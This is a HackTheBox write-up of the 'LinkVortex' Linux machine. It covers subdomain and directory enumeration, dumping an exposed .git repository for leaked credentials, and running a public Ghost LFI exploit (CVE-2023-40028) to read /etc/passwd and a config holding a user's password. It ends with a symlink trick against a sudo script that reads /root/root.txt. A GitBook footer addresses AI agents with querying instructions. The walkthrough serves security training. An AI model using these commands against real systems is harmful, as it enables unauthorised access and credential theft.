> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# LinkVortex HackTheBox Writeup

LinkVortex HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, Extracting Information from .git Directory (Git-Dumper), Information Leakage, LFI Exploitation (Ghost), with practical

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**Skills:**

* Subdomain Enumeration
* Extracting Information from .git Directory (Git-Dumper)
* Information Leakage
* LFI Exploitation (Ghost)
* Abusing Sudo Privileges via Script (Double Symbolic Link)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff873e07b2313adb658d44b8b071a3aabb47d99b%2Fimage%20(2594).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2897b84478236f0639384e4f8db48a39edaae9e%2Fimage%20(2595).png?alt=media" alt=""><figcaption></figcaption></figure>

**Configuration of the /etc/hosts file**

We add the target's IP address to our `/etc/hosts` file to facilitate local DNS resolutions.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768ba0fa285cb4bbd76c1b041f403965292a2836%2Fimage%20(2596).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f9c90824234f04deaa7f7e812a103aba1ea2a24%2Fimage%20(2597).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd8fc449de2b9be4939a3ba4bdfb4bb62f50abc%2Fimage%20(2598).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Port 80**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340be5e2088039dbcf398cfcf91eef805b8640b1%2F%7BE29B337D-5425-4FF6-BD1D-313C611421AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a42d816985d356a41ebf770b2b58a6db97eaa7%2F%7B22282BA5-7486-47EC-9FE7-8279FB952AF9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Directory Enumeration**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266dbf27ce7ad190e2da5f94d2a1449d6bde7e4%2Fimage%20(2599).png?alt=media" alt=""><figcaption></figcaption></figure>

### Panel Admin - Ghost

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-041734ad071450f0fa7c843c3447e76de8f09484%2F%7BBF446D05-0595-411B-B871-916B470B3D1C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Discovery of a Sub-Domain**

We search for subdomains associated with `linkvortex.htb` using gobuster.

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

We find the subdomain `dev.linkvortex.htb`. Here is the command to perform this search:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-754fecf2654d67b5d41a76bcf30d1c4b007443da%2Fimage%20(2600).png?alt=media" alt=""><figcaption></figcaption></figure>

Once the subdomain is found, we add it to the `/etc/hosts` file for easier access:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db733d6a09ce305e8f9a8e724b22ecb3f77855c4%2Fimage%20(2601).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c023a744772b455d4f00c4213c5001857342a4f9%2F%7B51979BBD-7EA9-4B2C-9BE8-B4F0C65F4E51%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Searching Directories in the New Subdomain**

We search existing directories on the `dev.linkvortex.htb` subdomain using `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

We discover the `.git` directory, which could indicate an exposed Git repository.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90f3b459e7d93e727d83e7f97dceb1e9c9d019cf%2Fimage%20(2602).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91be5112b3649a9047b75647526acf110135e47f%2Fimage%20(2603).png?alt=media" alt=""><figcaption></figcaption></figure>

### **File Extraction with Git-Dumper**

We use the `git-dumper` tool to extract files from the `.git` directory and analyze them:

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93332b66c3140b6ac3a69cd337ada6cf5848a556%2Fimage%20(2604).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74a3753bd14aa3fe41ac6d392579e4590dbb66a7%2Fimage%20(2605).png?alt=media" alt=""><figcaption></figcaption></figure>

This allows us to obtain sensitive files, including a test file located in `ghost/core/test/regression/api/admin/authentication.test.js`, where we find a password:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76f51d78125a92e1fef63855476b202cbbf81d20%2Fimage%20(2606).png?alt=media" alt=""><figcaption></figcaption></figure>

**Password found:**

```parser
OctopiFociPilfer45
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a0cc89d577342f9112e0f875c9583d80e01fd39%2Fimage%20(2607).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Login to the Ghost Admin Panel**

With this password, we try to connect to the Ghost administration panel using the `admin@linkvortex.htb` email address:

* **Email** : `admin@linkvortex.htb`
* **Password**: `OctopiFociPilfer45`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea53ab91ab21b68fcfc1887972577d518ef00227%2Fimage%20(2608).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability GHost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-556de5aaad732e511fd1096e472cd92307118c8f%2Fimage%20(2609).png?alt=media" alt=""><figcaption></figcaption></figure>

> During the port scan, we identified that the version of Ghost used (v5.58) is vulnerable to an LFI (Local File Inclusion) vulnerability, identified by CVE-2023-40028. To exploit this vulnerability, we download the exploit script and modify the target URL to point to our Ghost instance.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba48cb724ac5e32e928d93b94e8a624c763d553%2Fimage%20(2610).png?alt=media" alt=""><figcaption></figcaption></figure>

Here is the command to run the exploit:

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

We then get a shell and can display files, like `/etc/passwd`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1dd2cc955b6f5f261a3b15ae3fc71736f445677%2F%7B4FD8233F-F945-4791-8BDA-22CBE8CD9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Access to an Internal Route via LFI**

In the `.git` directory, we spotted a Docker file which provides us with an internal route to access a session: `/var/lib/ghost/config.production.json`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfca1aa90d3bc64cadeb721d81f527d0835d2f9%2Fimage%20(2611).png?alt=media" alt=""><figcaption></figcaption></figure>

We use LFI to list files and find the credentials of a user named Bob:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21bed3c084bcac4e0e76c7d47e86d15de379ddf6%2Fimage%20(2612).png?alt=media" alt=""><figcaption></figcaption></figure>

**Bob's credentials:**

* **User**: `bob@linkvortex.htb`
* **Password**: `fibber-talented-worth`

We connect to the target machine via SSH using Bob's credentials:

### Flag user.txt :)

We use the password `fibber-talented-worth` to log in and access the file `user.txt`, where we find the flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcfeecc85c6fba7b0d98d4039012c688292be1ba%2Fimage%20(2613).png?alt=media" alt=""><figcaption></figcaption></figure>

## Flag root.txt :)

### SUDO - Clean/\_synLink.sh

We are looking for a vulnerability that allows for privilege escalation. We discover a file with SUID permissions.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec24ae5499df8ac352b86950f56d0ff81f8aaa9f%2Fimage%20(2615).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Symlink Cleanup Script Analysis**

> We analyze a script named `clean_symlink.sh`, which checks if the file provided as an argument is a symlink pointing to a `.png` file. If the symlink points to a critical file, the script deletes it. Otherwise, it moves the symlink to the `/var/quarantined/` directory. If the `CHECK_CONTENT` environment variable is set to `true`, the script attempts to read the contents of the file.

Here is the command to create the symlinks necessary for exploitation:

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

Then we run the script with the following command to get the root flag:

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

We thus obtain the `root.txt` flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d510c3b8a79e2f856beb8e60ce573f331bee991c%2Fimage%20(2616).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f12cffa0209b5fca2a9f9e3bcbd63ce191f0408c%2F%7BF6BA10D9-BB8B-4665-82C3-C660B5632C82%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
